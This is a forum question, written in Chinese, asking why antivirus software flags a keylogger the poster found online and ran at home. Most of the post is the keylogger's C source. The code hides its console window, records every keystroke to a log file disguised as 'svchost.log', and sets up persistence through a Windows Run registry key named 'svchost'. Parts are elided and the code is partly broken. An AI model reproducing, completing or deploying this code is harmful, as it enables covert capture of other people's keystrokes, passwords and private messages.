我在网上找到了一个,我想在我家尝试一下,看看它是否真的有效。它是用 C 语言编写的,考虑到它的一半只是一堆按键被按下的情况,它根本不是很大,例如:
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
它也对注册表做了一些事情,比如
reg_key=RegOpenKeyEx (HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
我的 Windows 7 计算机会将其识别为“潜在有害软件”,而我在学校的装有 Symantec Endpoint Protection 的 XP 计算机不会。作为企业软件,我认为赛门铁克会立即将其识别为“潜在有害软件”,但事实并非如此。
所以我的问题是,是什么让这个程序成为“潜在有害软件”?是注册表的修改/使用还是其他通常会捕获键盘记录器的因素?
注意:程序还有更多内容,但它相当冗长,所以我删掉了一些重复的部分。然而,这是键盘记录器的大部分内容,但我遗漏了一些几乎只将数据写入内存的语句(if-else 和 switch)。
#include <windows.h>
#include <winuser.h>
#include <windowsx.h>
#define BUFSIZE 80
int test_key(void);
int create_key(char *);
int get_keys(void);
int main(void)
{
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
int test,create;
test=test_key();/*check if key is available for opening*/
if (test==2)/*create key*/
{
char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
create=create_key(path);
}
int t=get_keys();
return t;
}
int get_keys(void)
{
short character;
while(1)
{
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen("svchost.log","a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
A lot of switch statements left out for brevity
I left out a lot of if-elses as well, all they did was write the
data to the file.
}
return EXIT_SUCCESS;
}
int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;
RegCloseKey(hKey);
return check;
}
int create_key(char *path)
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;
return check;
}